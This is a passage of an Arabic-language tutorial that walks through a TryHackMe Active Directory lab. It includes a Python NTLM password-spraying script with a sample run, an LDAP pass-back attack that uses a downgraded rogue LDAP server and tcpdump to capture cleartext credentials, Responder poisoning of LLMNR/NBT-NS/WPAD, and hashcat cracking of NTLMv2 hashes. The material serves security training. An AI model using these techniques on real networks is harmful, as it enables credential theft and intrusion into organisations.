هاد بتحقق من الشبكة انها نشطة إذا ما حصلت على اجابة ف هاد يعني أنه الشبكة غير نشطة حاليًا إذا كانت الشبكة بتشتغل بعد تحديث صفحة الدرس وما حصلت على اجابه اتصل بالدعم ويمكن حلها باعاده تشغيل الشبكه


2. بنشغل امر
كود:
nslookup tryhackme.com <THM DC IP>
هاد بتحقق من خادم DNS انه داخل الشبكة نشط لأنه وحدة التحكم بالـ DNS الها دور , إذا ما اشتغل أمر ping اتصل بالدعم لأنو بكون في مشكلة ويمكن حلها باعاده تشغيل الشبكه

3. بنشغل امر
كود:
nslookup tryhackme.com
إذا حصلت على استجابة مختلفة عن الخطوة السابقة ف هاد يعني أنه في مشكلة بتكوين الـ DNS بترجع للخطوات اللي شرحناها قبل كيف تزبط اعدادات الـ DNS مشكلة شائعة بالـ Kali هي أن إدخال الـ DNS يتم وضعه كالإدخال الثاني في ملف etc/resolv.conf/ وضعه كالإدخال الأول بحل المشكلة


ملاحظه

الشبكات بالـ AD مصنفة كمتوسطة الصعوبة عشان هيك اذا انت هسا تطبق عملي على طول من الافضل انك تبدا باشي اسهل وتطبق عليه لانه الـ AD نظام ضخم وبتحتاج لـ عقلية استكشافية عشان تنجح باختباره



تقنيات اختراق الـ Active Directory

الـ OSINT و الـ Phishing
طريقتين مشهورين عشان نقدر نحصل على أول مجموعة من بيانات الدخول للـ Active Directory بنذكرهم بشكل سريع لأننا سبق وحكينا عنهم بمسار اختبار الاختراق بالتفصيل



الـ OSINT


الـ OSINT بستخدم عشان نكتشف معلومات متاحة للعامة بالنسبة لبيانات دخول الـ Active Directory هاد ممكن يحصل لأسباب زي :

مستخدمين بسألوا بمنتديات عامة زي Stack Overflow وبكشفوا عن معلومات حساسة زي بيانات دخول بالسؤال مثلا
مطورين بنزلوا سكريبتات على مواقع زي Github وفيها بيانات دخول مكتوبة بشكل مباشر مثلا
بيانات دخول اللي بتنكشف بتسريبات سابقة لأن الموظفين استخدموا حسابات الشغل الخاصه فيهم بتسجيل بمواقع خارجية مواقع زي HaveIBeenPwned و DeHashed بتوفر منصات ممتازة عشان نحدد إذا كانت معلومات شخص ما زي البريد الإلكتروني الخاص بالشغل الخاص فيه تم الكشف عنها بتسريب معروف علنًا


باستخدام تقنيات الـ OSINT ممكن نقدر نسترجع بيانات دخول متاحة للعامة لو كنا محظوظين ولقينا بيانات دخول بنضل محتاجين نلاقي طريقة نختبر إذا كانت صالحة ولا لأ لأن معلومات الـ OSINT ممكن تكون قديمة

كمان شوي راح نحكي عن خدمات الـ NTLM Authenticated اللي ممكن توفر طريقة ممتازة لاختبار بيانات الدخول هاي عشان نشوف إذا كانت لسه صالحة ولا لأ



الـ Phishing


الـ Phishing طريقة ممتازة ثانية لاختراق الـ Active Directory
الـ Phishing عادةً بحاول يخدع المستخدمين إنهم يقدموا بيانات الدخول الخاصه فيهم على صفحة ويب خبيثة أو بنطلب منهم يشغلو تطبيق معين اللي بدوره بنزل مثلا Remote Access Trojan (RAT) بالخلفية هاي الطريقة منتشرة جدًا لأن الـ RAT بشتغل بسياق المستخدم وبالتالي بمكنك انك تنتحل حساب المستخدم بالـ Active Directory مباشرةً عشان هيك الـ Phishing موضوع كبير للـ Red and Blue teams










الـ NTLM


الـ NTLM هو نظام أمان بستخدمه الـ Active Directory لتأكيد هوية المستخدمين الـ NTLM بستخدم نظام اسمه NetNTLM عشان يأكد الهوية بطريقة challenge-response-based الطريقة هاي تستخدم كثير بالشبكات بس ممكن الخدمات اللي بتستخدمها تنعرض على الإنترنت مثلا :

1. سيرفرات البريد الإلكتروني اللي بتستخدم Outlook Web App للتسجيل
2. خدمة الـ Remote Desktop Protocol
نقاط الـ VPN endpoints اللي متصلة بـالـ Active Directory
تطبيقات ويب بتستخدم NetNTLM




الـ NetNTLM


الـ NetNTLM يسمى ايضا Windows Authentication بخلي التطبيق يلعب دور الوسيط بين العميل و الـ Active Directory كل معلومات التحقق بتروح للـ Domain Controller على شكل challenge ولو نجح التطبيق بأكد هوية المستخدم
يعني التطبيق بأكد هوية المستخدم بالنيابة عنه بشكل مش مباشر هاد بمنع التطبيق من تخزين بيانات الـ Active Directory اللي المفروض بتتخزن بس بالـ Domain Controller



c9113ad0ff443dd0973736552e85aa69.png

هجمات التخمين Brute-force Login Attacks



الخدمات اللي معروض على النت طريقه منيحه عشان نجرب البيانات اللي حصلنا عليها باي طريقه ممكن نحاول نستخدمها لهجمات الـ Brute-force عشان نلاقي بيانات Active Directory صحيحة
لكن معظم بيئات الـ Active Directory بكون فيها خاصية قفل الحساب بعد محاولات فاشلة كتير ف ما بنقدر نعمل هجوم Brute-force كامل
بدل منعلم هيك بنعمل هجوم اسمه password spraying بنجرب باسورد واحد مع كل الأسماء اللي عندنا الهجوم هاد بنكشف بسهولة عشان بولد عدد كبير من المحاولات الفاشلة



مثال عملي



عننا قائمه الـ بأسماء مستخدمين حصلنا عليها عن طريق OSINT (تجسس عن طريق المعلومات العامة)

التمرين كمان أشار إن باسورد الشركة الأولي هو Changeme123 رغم إن المستخدمين المفروض يغيروا الباسورد هاد بس في ناس بتنسى بنستخدم سكريبت مخصص لعمل هجوم password spraying على الويب موجود على الرابط : http://ntlmauth.za.tryhackme.com

لما ندخل على الرابط بنلاقي إنه بطلب بيانات تسجيل Windows Authentication لو بدك تجرب البيانات يدويًا استخدم Chrome عشان Firefox بكون فيه مشاكل من الناحيه هاي


سكريبت الهجوم

ممكن نستخدم أدوات زي Hydra او Burp suite للهجوم بس يفضل نكتب سكريبت بنفسنا عشان نتحكم بالعملية الكود هاد هو الجزء الرئيسي من السكريبت :

Python:
def password_spray(self, password, url):
    print ("[*] Starting passwords spray attack using the following password: " + password)
    #Reset valid credential counter
    count = 0
    #Iterate through all of the possible usernames
    for user in self.users:
        #Make a request to the website and attempt Windows Authentication
        response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
        #Read status code of response to determine if authentication was successful
        if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
            print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
            count += 1
            continue
        if (self.verbose):
            if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
                print ("[-] Failed login with Username: " + user)
    print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")

الكود هاد باخد الباسورد والرابط اللي بنستهدفه كمدخلات وبحاول يدخل باستخدام كل اسم مستخدم موجود بالملف النصي ( اللي معطينا اياه بالتحدي ) عن طريق مراقبة رقم الاستجابة من الموقع بنقدر نعرف إذا كانت البيانات صحيحة ولا لأ لو البيانات صحيحة التطبيق برد بكود 200 (OK) لو البيانات غلط التطبيق برد بكود 401 (Unauthorized)


تشغيل السكريبت

لو بتستخدم الـ AttackBox بتلاقي السكريبت والملف النصي للأسماء بالمسار /root/Rooms/BreachingAD/task3/ لتشغيل السكريبت استخدم الأمر هاد :

كود:
python ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>
استبدل القيم التالية :

الـ <userfile> - الملف النصي اللي فيه أسماء المستخدمين - usernames.txt
الـ <fqdn> - الدومين المرتبط بالشركة اللي بنهاجمها - za.tryhackme.com
الـ <password> - الباسورد اللي هنستخدمه في الهجوم - Changeme123
الـ <attackurl> - رابط التطبيق اللي بدعم الـ Windows Authentication هو http://ntlmauth.za.tryhackme.com


باستخدام القيم هاي بنلاقي بعض بيانات الدخول الصحيحة من الهجوم


مثال عملي لتشغيل الهجوم:

كود:
[thm@thm]$ python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/
[*] Starting passwords spray attack using the following password: Changeme123
[-] Failed login with Username: anthony.reynolds
[-] Failed login with Username: henry.taylor
[...]
[+] Valid credential pair found! Username: [...] Password: Changeme123
[-] Failed login with Username: louise.talbot
[...]
[*] Password spray attack completed, [X] valid credential pairs found


باستخدام مزيج من الـ OSINT و الـ NetNTLM password spraying بنلاقي أول بيانات دخول صحيحة بنقدر نستخدمها لاستكشاف الـ AD بشكل أكبر











الـ LDAP



الـ LDAP هو بروتوكول يستخدم للمصادقة بالـ Active Directory مثل NTLM

الـ LDAP بسمح لتطبيقات معينة بالتحقق مباشرة من بيانات دخول المستخدمين التطبيق بمتلك زوج من بيانات Active Directory اللي بنستخدمهم عشان نعمل query للـ LDAP والتحقق من بيانات المستخدم

مصادقه الـ LDAP مشهور بين التطبيقات الـ
third-party (مش اللي لمايكروسوفت) اللي بتتواصل مع الـ Active Directory مثل :


  • Gitlab
  • Jenkins
  • Custom-developed web applications
  • Printers
  • VPNs


إذا كان واحد من هاي التطبيقات أو الخدمات على النت بإمكانها تتعرض لنفس الهجمات اللي بتحصل مع أنظمة الـ NTLM

ولأن الـ LDAP بحتاج بيانات Active Directory هاد بفتح طرق جديدة للهجمات ممكن نحاول نسترجع بيانات Active Directory اللي بتستخدمها الخدمة للوصول للـ Active Directory

عمليه المصادقه من خلال الـ LDAP موضحه بالصوره


d2f78ae2b44ef76453a80144dac86b4e.png



هجوم Pass-back على الـ LDAP

هو نوع من الهجمات اللي بتم ضد الأجهزة مثل الطابعات الهجوم بتم لما يكون عننا وصول أولي للشبكة الداخلية مثل توصيل rogue device بغرفة الاجتماعات
قصدنا بـ rogue device جهاز غير مرخص بندخله للشبكه بهدف اختراقها ممكن يكون تلفون او لابتوب او اي جهاز هدفه يخترق الشبكه

غالبًا بيانات الدخول للواجهة الافتراضية بتكون زي admin , admin أو admin , password هون ما بنقدر نستخرج بيانات LDAP مباشرة لأنو ما معنا كلمة المرور لكن ممكن نغير إعدادات الـ LDAP مثل عنوان الـ IP او الـ hostname الخاص بالسيرفر


في الهجوم هاد بنقدر نغير الـ IP بنخليه IP للجهاز الخاص فينا ونجرب إعدادات LDAP اللي بتجبر الجهاز يحاول المصادقة مع جهازنا وبعدها بنقدر نعترض محاوله المصادقه هاي عشان نسترجع LDAP credentials صالحه




تنفيذ الهجوم

بشبكة معينة فيه طابعة ما بتطلب بيانات دخول للوصول لإعداداتها بنروح للعنوان هاد http://printer.za.tryhackme.com/settings.aspx بعد ما نتصل بالخطوات اللي شرحناها فوق

بنقدر نتحقق باستخدام الـ inspection بالمتصفح إنه الطابعة ما بترسل كلمة المرور مباشرة للمتصفح

عننا اسم المستخدم لكن مش كلمة المرور

لما نضغط على Test Settings الطابعة بترسل طلب مصادقة للتحقق من بيانات الـ LDAP ممكن نستغل هاد الطلب وبنجعل الطابعة تتواصل معنا بدل السيرفر الفعلي ونحصل على البيانات


بنشغل الـ listener باستخدام الـ Netcat

بنقدر نستخدم الـ Netcat عشان نستمع على الاتصالات على المنفذ 389 (المنفذ الافتراضي لـ LDAP) بنستخدم الأمر هاد :

كود:
[thm@thm]$ nc -lvp 389
listening on [any] 389 ...
10.10.10.201: inverse host lookup failed: Unknown host
connect to [10.10.10.55] from (UNKNOWN) [10.10.10.201] 49765
0?DC?;
?
?x
 objectclass0?supportedCapabilities

ممكن تحتاج أكثر من محاولة عشان تحصل على اتصال لكن المفروض يستجيب بحدود الـ 5 ثواني

رد الـ supportedCapabilities بخبرنا بوجود مشكلة بالأساس قبل ما ترسل الطابعة بيانات الدخول بتحاول تستفسر على تفاصيل طريقة الـ LDAP authentication بتستخدم هاد الاستفسار لاختيار الطريقة الأكثر أمان اللي بتدعمها كل من الطابعة وخادم الـ LDAP

إذا كانت طريقة المصادقة آمنة للغاية ف اكيد ما رح يتم نقل بيانات الدخول بنص واضح ببعض طرق المصادقة لا يتم نقل بيانات الدخول عبر الشبكة على الإطلاق! عشان هيك ما بنقدر نستخدم الـ Netcat العادي للحصول على بيانات دخول بنحتاج لإنشاء خادم LDAP غير آمن وتكوينه بطريقة بتضمن إرسال بيانات دخول بنص واضح




استضافة سيرفر LDAP مزيف

بنحتاج نستضيف سيرفر LDAP مزيف بستخدم مصادقة عادية ( PLAIN و LOGIN ) بنستخدم الـ OpenLDAP لو بتستخدم الـ AttackBox بتلاقي الـ OpenLDAP مثبت بالفعل لكن لو بنستخدم جهازنا بنثبته بالأمر هاد :
كود:
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

بعدها لازم نعيد تهيئة السيرفر بالأمر هاد :
كود:
sudo dpkg-reconfigure -p low slapd

بعدها راح يطلعلك نافذه تأكد انك تظغط على no

97afd26fd4f6d10a2a86ab65ac401845.png

بالنسبه للـ DNS بنختار الـ DNS تاع الهدف تاعنا الا وهو za.tryhackme.com

01b0d4256900cbf48d8d082d8bdf14bb.png

ولاسم الـ Organisation بنختار نفس الاشي الا وهو za.tryhackme.com

c4bef0c3f054c32ca982ee9c1608ba1b.png
بعدها بنحط كلمه مرور للـ Administrator

23b957d41ddba8060e4bc2295b56a2fb.png


بعدها بنختار MDB كقاعده بيانات LDAP لاستخدامها

07af572567aa32e0e0be2b4d9f54b89a.png


بعدها بنتأكد من الخيار هاد انو ما يمحي الداتابيز

4d5086da7b25a6f218d6eebdab6d3b71.png


اخر خيار بنختار نعم انو ينقل ملفات قاعده اليانات القديمه قبل ما ينشئ ملف جديد

d383582606e776eb901650ac9799cef5.png


قبل ما نستخدم خادم الـ LDAP بنحتاج نخليه ضعيف عن طريق خفض آليات المصادقة المدعومة بدنا نتأكد من أنه خادم LDAP الخاص فينا بدعم فقط طرق المصادقة PLAIN و LOGIN

عشان نعمل هاي الاعدادات بنحتاج ننشئ ملف وبنسميه olcSaslSecProps.ldif بالمحتوى التالي :

كود:
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

الملف بحتوي على الخصائص التالية:
  • الـ olcSaslSecProps : بحدد خصائص أمان SASL
  • الـ noanonymous : بعطل الآليات اللي بتدعم تسجيل الدخول المجهول
  • الـ minssf : بحدد الحد الأدنى لقوة الأمان المقبولة بـ 0 مما يعني عدم وجود حماية
بإمكاننا الان نستخدم ملف الـ ldif لتحديث خادم الـ LDAP الخاص فينا باستخدام الأمر التالي :

كود:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart


بإمكاننا نتحقق من تطبيق اعدادات خادم الـ LDAP الخاص فينا باستخدام الأمر التالي
(ملاحظة: إذا بتستخدم Kali ممكن ما تحصل على أي نتيجه لكن التكوين يجب أن يكون نجح وبإمكانك متابعة الخطوات التالية ):



كود:
[thm@thm]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN

الان تم تكوين خادم الـ LDAP

لما نضغط على Test Settings بـ http://printer.za.tryhackme.com/settings.aspx تتم المصادقة بنص واضح إذا قمت بتكوين خادم LDAP بشكل صحيح وتم تخفيض الاتصال بتتلقى الخطأ التالي This distinguished name contains invalid syntax إذا تلقيت هاد الخطأ بإمكانك تستخدم tcpdump لالتقاط بيانات الاعتماد باستخدام الأمر التالي :




كود:
[thm@thm]$ sudo tcpdump -SX -i breachad tcp port 389
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10:41:52.979933 IP 10.10.10.201.49834 > 10.10.10.57.ldap: Flags [P.], seq 4245946075:4245946151, ack 1113052386, win 8212, length 76
    0x0000:  4500 0074 b08c 4000 8006 20e2 0a0a 0ac9  E..t..@.........
    0x0010:  0a0a 0a39 c2aa 0185 fd13 fedb 4257 d4e2  ...9........BW..
    0x0020:  5018 2014 1382 0000 3084 0000 0046 0201  P.......0....F..
    0x0030:  0263 8400 0000 3d04 000a 0100 0a01 0002  .c....=.........
    0x0040:  0100 0201 7801 0100 870b 6f62 6a65 6374  ....x.....object
    0x0050:  636c 6173 7330 8400 0000 1904 1773 7570  class0.......sup
    0x0060:  706f 7274 6564 5341 534c 4d65 6368 616e  portedSASLMechan
    0x0070:  6973 6d73                                isms
10:41:52.979938 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [.], ack 4245946151, win 502, length 0
    0x0000:  4500 0028 247d 4000 4006 ed3d 0a0a 0a39  E..($}@.@..=...9
    0x0010:  0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27  ........BW.....'
    0x0020:  5010 01f6 2930 0000                      P...)0..
10:41:52.980162 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [P.], seq 1113052386:1113052440, ack 4245946151, win 502, length 54
    0x0000:  4500 005e 247e 4000 4006 ed06 0a0a 0a39  E..^$~@[email protected]
    0x0010:  0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27  ........BW.....'
    0x0020:  5018 01f6 2966 0000 3034 0201 0264 2f04  P...)f..04...d/.
    0x0030:  0030 2b30 2904 1773 7570 706f 7274 6564  .0+0)..supported
    0x0040:  5341 534c 4d65 6368 616e 6973 6d73 310e  SASLMechanisms1.
    0x0050:  0405 504c 4149 4e04 054c 4f47 494e       ..PLAIN..LOGIN
[....]
10:41:52.987145 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [.], ack 3088612909, win 8212, length 0
    0x0000:  4500 0028 b092 4000 8006 2128 0a0a 0ac9  E..(..@...!(....
    0x0010:  0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d  ...9.......J..~-
    0x0020:  5010 2014 0ae4 0000 0000 0000 0000       P.............
10:41:52.989165 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [P.], seq 2332415562:2332415627, ack 3088612909, win 8212, length 65
    0x0000:  4500 0069 b093 4000 8006 20e6 0a0a 0ac9  E..i..@.........
    0x0010:  0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d  ...9.......J..~-
    0x0020:  5018 2014 3afe 0000 3084 0000 003b 0201  P...:...0....;..
    0x0030:  0560 8400 0000 3202 0102 0418 7a61 2e74  .`....2.....za.t
    0x0040:  7279 6861 636b 6d65 2e63 6f6d 5c73 7663  ryhackme.com\svc
    0x0050:  4c44 4150 8013 7472 7968 6163 6b6d 656c  LDAP..password11

بتظهر النتيجة على شكل حزم بيانات وبتتمكن من رؤية بيانات الاعتماد المرسلة بنص واضح

ملخص
من خلال استخدام هجوم الـ LDAP pass-back وتخفيض آلية المصادقة المدعومة تمكنا من اعتراض بيانات الاعتماد بنص واضح













مراحل الـ Authentication الـ LLMNR و NBT-NS و WPAD

بـ شبكات الويندوز في خدمات كثيرة بتتواصل مع بعض عشان المستخدمين يقدروا يستخدموا الخدمات اللي بتقدمها الشبكة

التوثيق الشبكي في ويندوز

قبل حكينا عن الـ NTLM المستخدم بتطبيقات الويب هسا راح نغوص أعمق بكيفية عمل هاد التوثيق من منظور الشبكة وراح نركز على توثيق الـ NetNTLM اللي بستخدمه بروتوكول الـ SMB




بروتوكول الـ Server Message Block ( SMB )

بروتوكول الـ SMB بسمح للعملاء (زي الكمبيوترات) بالتواصل مع السيرفر (زي خوادم الملفات)
بالشبكات اللي بتستخدم Active Directory من مايكروسوفت الـ SMB بتحكم بكل اشي من مشاركة الملفات بين الشبكات ( لغاية إدارة الأجهزة عن بُعد ) حتى إشعار نفد الورق ( اللي بظهرلك لما تحاول تطبع مستند ) الاشعار من الـ SMB

لكن أمان النسخ القديمة من بروتوكول SMB كان غير كافي اكتشفوا ثغرات ممكن تستغل لاسترجاع بيانات الاعتماد أو حتى تنفيذ كود على الأجهزة بالرغم من أن بعض الثغرات تم اصلاحها بالنسخ الأحدث من البروتوكول لكن منظمات كثيره ما بتفرض استخدام النسخ الأحدث عشان الأنظمة القديمة ما بتدعمها

راح نحكي عن نوعين من الـ exploits لمصادقة الـ NetNTLM مع الـ SMB :


1. التحليل غير المباشر Offline Cracking : لانه يمكن اعتراض الـ NTLM Challenges ممكن نستخدم تقنيات اختراق دون ما نتصل بالنت لاستعاده كلمه المرور المرتبطه بـ NTLM Challenges لكن العمليه هاي ابطأ بكثير من كسر الـ NTLM hashes نفسه
2. الهجوم بين العميل والخادم Man-in-the-Middle Attack : ممكن نستخدم جهازنا المزيف لعمل هجوم بين العميل والخادم اللي بوفرلنا جلسه مصادقة نشطه وامكانيه الوصول لخادم الهدف




الـ LLMNR والـ NBT-NS والـ WPAD

هون راح نركز الى الـ authentication اللي بحصل أثناء استخدام الـ SMB بنستخدم أداة Responder لمحاولة اعتراض الـ NTLM Challenges وتحليله بالشبكة عادةً بكون فيه كثير من هاي التحديات وبعض الحلول الأمنية انك تعمل مسح لنطاقات الـ IP كاملة لاسترجاع معلومات من الأجهزة , أحيانًا بسبب سجلات الـ DNS القديمة التحديات هاي ممكن توصل لجهازنا المزيف بدل من الجهاز المقصود

أداة Responder بتسمحلنا بتنفيذ هجمات الـ Man-in-the-Middle عن طريق تسميم الـ Response أثناء الـ NetNTLM authentication ، وبتخدع العميل عشان يكلمك بدل السيرفر الاصلي , بالشبكات الكبيرة البروتوكولات الـ LLMNR والـ NBT-NS والـ WPAD بتسمح للأجهزة بإجراء DNS لوكلي للعثور على الأجهزة على نفس الشبكة المحلية بدلا من تحميل موارد الشبكة مثل خوادم الـ DNS


الـ LLMNR
اول اشي الأجهزة بتحاول تحدد إذا كان الجهاز اللي بدورو عليه على نفس الشبكة المحلية عن طريق إرسال طلبات LLMNR وبشوفو اذا في اي اجهزه بترد

الـ NBT-NS , WPAD
الـ NBT-NS هو البروتوكول السابق لـ LLMNR وطلبات الـ WPAD بتتم للعثور على وكيل للاتصالات HTTP/HTTPS المستقبلية

بما أن هاي البروتوكولات بتعتمد على الطلبات المرسلة على الشبكة المحلية , جهازنا المزيف بتلقى هاي الطلبات
عادة الطلبات هاي تهمل لأنها مش موجهة لجهازنا لكن الـ Responder بتستمع لهاي الطلبات وبترسل استجابات مسمومة بتخبّر الجهاز المرسل أن عنوان الـ IP الخاص بجهازنا مرتبط باسم المضيف المطلوب من خلال تسميم هاي الطلبات
الـ Responder بتحاول تقنع العميل بالاتصال بجهازنا المزيف وبتبدأ باستضافة خوادم متعددة مثل SMB و HTTP و SQL لالتقاط هاي الطلبات واجبارها على المصادقة




اعتراض تحدي NetNTLM

نقطة مهمة الـ Responder بحاول بشكل اساسي انه يفوز بحاله السباق عن طريق تسميم الاتصالات عشان يضمن اعتراض الاتصال وعادةً ما بتسمم الـ authentication challenges على الشبكة المحلية , بما اننا متصلين عن طريق الـ VPN بنقدر نسمم بس اللي على هاي الشبكة عشان هيك عملو عمليه محاكاه لطلب مصادقه بامكاننا نسممه وبشتغل كل 30 دقيقة يعني ممكن نحتاج نستنا قبل ما نعترض الـ NetNTLM challenges ونرد عليه


رغم أن الـ Responder بإمكانه يعترض ويسمم المزيد من طلبات المصادقة عند تشغيلها من جهازنا المزيف المتصل بشبكة LAN

مهم نفهم أنه هاد السلوك ممكن يكون مزعج وملحوظ , بتسميم طلبات المصادقة المحاولات الطبيعية للمصادقة على الشبكة راح تفشل مما يعني أن المستخدمين والخدمات ما رح يتصلوا بالأجهزة والمشاركة التي بدهم اياها خليك واعي لهاد الموضوع لما تستخدم الـ Responder بالتقييم أمني



استخدام Responder

تم تثبيت اداه الـ Responder بالفعل على الـ AttackBox إذا كنت ما بتستخدم الـ AttackBox بتقدر تحملها وتثبتها من هاد الرابط : Responder GitHub

بنشغل الـ Responder على الواجهة المتصلة بالـ VPN :

كود:
sudo responder -I breachad

إذا كنت بتستخدم الـ AttackBox مش كل خدمات الـ Responder بتشتغل لأنه خدمات أخرى ممكن تستخدم نفس المنافذ لكن هاد ما رح يأثر على هاي المهمة

الـ Responder بتستمع لأي طلبات LLMNR أو NBT-NS أو WPAD اللي بتيجي بنترك الـ Responder تشتغل لفترة على الـ LAN الحقيقية بحالتنا راح نحاكي التسميم عن طريق جعل أحد الخوادم يحاول المصادقة على أجهزة الـ VPN
بنترك الـ Responder تعمل شوية (حوالي 10 دقائق ممكن تأخذ استراحة ! ) وراح تستقبل اتصال SMBv2 اللي Responder بتستخدمه لجذب واستخراج استجابة الـ NTLMv2-SSP


بظهر اشي مثل هاد :

كود:
[+] Listening for events...
[SMBv2] NTLMv2-SSP Client   : <Client IP>
[SMBv2] NTLMv2-SSP Username : ZA\<Service Account Username>
[SMBv2] NTLMv2-SSP Hash     : <Service Account Username>::ZA:<NTLMv2-SSP Hash>


إذا كنا بنستخدم جهازنا بنشغل الـ Responder لفترة أطول وبنجمع response بعد ما نجمع عدد كافي بنبدأ بتحليل الـ response عشان نتوقع كلمات المرور اللي مرتبطة فيها
إذا كانت الحسابات فيها كلمات مرور ضعيفة بكون عننا فرصة منيحه نكسرها بننسخ الهاش NTLMv2-SSP وبنحطه بملف نصي بنستخدم قائمة كلمات المرور المقدمة بملفات التحدي لـ Hashcat لمحاولة كسر الهاش باستخدام الأمر التالي :

قائمة كلمات المرور
بتنزلها من هون
كود:
hashcat -m 5600 <hash file> <password file> --force



ملف كلمات المرور متاح لك على AttackBox في المكان هاد /root/Rooms/BreachingAD/task5/ بنستخدم نوع الهاش 5600 اللي بتوافق مع NTLMv2-SSP بـ Hashcat

relay attack

نقل الـ Challenge
ببعض الأحيان ممكن نأخذ الأمر خطوة أبعد بمحاولة نقل الـ Challenge بدال ما نعترضه مباشرة هاد أصعب شوي بدون معرفة مسبقة بالحسابات

لأن الهجوم هاد بعتمد على أذونات الحساب المرتبط بنحتاج لبعض الشروط عشان يكون الموضوع لصالحنا :


1. لازم يكون الـ SMB Signing إما معطل أو مفعل ولكن غير مفروض لانه لما نيجي نعمل نقل بنعمل تغييرات بسيطه بالطلب عشان ننقله إذا كان الـ SMB Signing مفعل ما بنقدر نزيف الـ signature يعني السيرفر راح يرفضها
2. لازم يكون للحساب اللي مرتبط أذونات اللي بتلزمه على السيرفر عشان يوصل للموارد المطلوبة
3. بما أننا تقنيًا ما عننا اي دخول بالـ Active Directory بتطلب الموضوع تخمين عن الحسابات اللي بتمتلك أذونات على الأجهزة , لكن إذا اخترقنا الـ Active Directory بالفعل بنعمل عملية الـ enumeration
عشان هيك الـ blind relays مش شائع
دائما أفضل أولاً اختراق الـ Active Directory باستخدام طريقة ثانيه بعدها بنجري enumeration عشان نحدد الامتيازات المرتبطة بالحساب اللي اخترقته , من هون بإمكانك عاده إجراء حركة عشان ترفع صلاحياتك عبر الـ domain


ومع هيك لازم يكون عندك فهم أساسي عن كيفيه عمل الهجوم relay attack كما هو موضح بالرسم البياني :


6baba3537d36d0fa78c6f61cf1386f6f.png




إذا بدك تجرب هاد النوع من الهجمات بالواقع شوف الروم Holo وراح نحكي عنها بالبارتات التاليه ان شاء الله










الـ Microsoft Deployment Toolkit

أدوات نشر مايكروسوفت

الشركات الكبيرة بتحتاج أدوات لإدارة البنية التحتية ما بنفع موظفين الـ IT يروحو ويثبتو برامج على كل الاجهزه باستخدام أقراص الـ DVD أو حتى USB
مايكروسوفت عندها أدوات لإدارة هاي الأمور لكن بنقدر نستغل بعض الأخطاء بهاي الأدوات لاختراق الـ Active Directory



الـ MDT و SCCM

الـ Microsoft Deployment Toolkit هي خدمة من مايكروسوفت بتساعد بنشر أنظمة التشغيل اللي من مايكروسوفت
الشركات الكبيرة بتستخدم خدمات مثل الـ MDT لتوزيع الأنظمة بشكل أسرع لأنه بتقدر تحتفظ فيها وتحدثها بمكان مركزي

عادةً يتم دمج الـ MDT مع System Center Configuration Manager من مايكروسوفت اللي بدير كل التحديثات لكل التطبيقات والخدمات وأنظمة التشغيل من مايكروسوفت
الـ MDT يستخدم للـ deployments بخلي فريق الـ IT يجهز ويعدل الـ boot images بسهولة يعني لو بدهم يجهزو جهاز جديد بس بوصلو كابل الشبكة وكل اشيء بصير تلقائيً بقدرو يثبتو برامج مثل Office365 و مكافحة الفيروسات الخاصة بالشركة بالـ boot images وبضمن أنه التنزيل يكون محدث من أول تشغيل



الـ SCCM يعتبر توسعة وأخ أكبر للـ MDT

بيجي على بالنا سؤال شو بصير للبرامج بعد ما تتثبت؟
الـ SCCM بعمل التحديثات للبرامج المثبتة بالبنية التحتية , بخلي فريق الـ IT يراجع التحديثات ويختبرها ببيئة تجريبية قبل ما يثبتوها على كل الأجهزة المرتبطة بالدومين هاد الموضوع هاد بسهل حياة فريق الـ IT بشكل كبير

لكن أي اشي بوفر إدارة مركزية للبنية التحتية مثل MDT و SCCM ممكن يكون هدف للهجمات من المخترقين عشان يسيطرو على الوظائف الحيوية بالبنية التحتية مع أنه الـ MDT ممكن ينظبط بطرق مختلفة هون بنركز على طريقة الـ Preboot Execution Environment (PXE) للـ boot


الـ PXE Boot

الشركات الكبيرة بتستخدم الـ PXE Boot عشان تسمح للأجهزة الجديدة المتصلة بالشبكة تحمل وتثبت النظام مباشرة عن طريق الشبكة , الـ MDT يستخدم لإنشاء وإدارة واستضافة صور PXE Boot
الـ PXE Boot بتكامل عادة مع الـ DHCP يعني إذا الـ DHCP بعطي الجهاز عنوان IP الجهاز بقدر يطلب صورة PXE Boot ويبدأ عملية التثبيت عبر الشبكة

بعد ما تبدأ العملية الجهاز بستخدم اتصال TFTP لتحميل صورة الـ PXE Boot


8117a18103e98ee2ccda91fc87c63606.png


بنقدر نستغل الـ PXE Boot بطريقتين :
  1. ممكن نضيف حساب Local Administrator داخل صورة الـ PXE Boot يعني بعد ما يكتمل تحميل وتشغيل النظام الحساب هاد بكون موجود بالجهاز
  2. بنقدر نسحب كلمات المرور لاستخراج Active Directory credentials المستخدمة أثناء التثبيت
هون راح نركز على استخراج الـ credentials خدمة النشر المرتبطة بخدمة الـ MDT أثناء التثبيت وأيضًا ممكن نستخرج حسابات Active Directory ثانيه مستخدمة بالتثبيت التلقائي للتطبيقات والخدمات


استخراج صورة الـ PXE Boot

بما أن الـ DHCP مزعج شوي راح نتخطى جزء طلب عنوان الـ IP وتفاصيل الـ PXE Boot من DHCP بنمل باقي الهجوم يدوي من هاي الخطوة


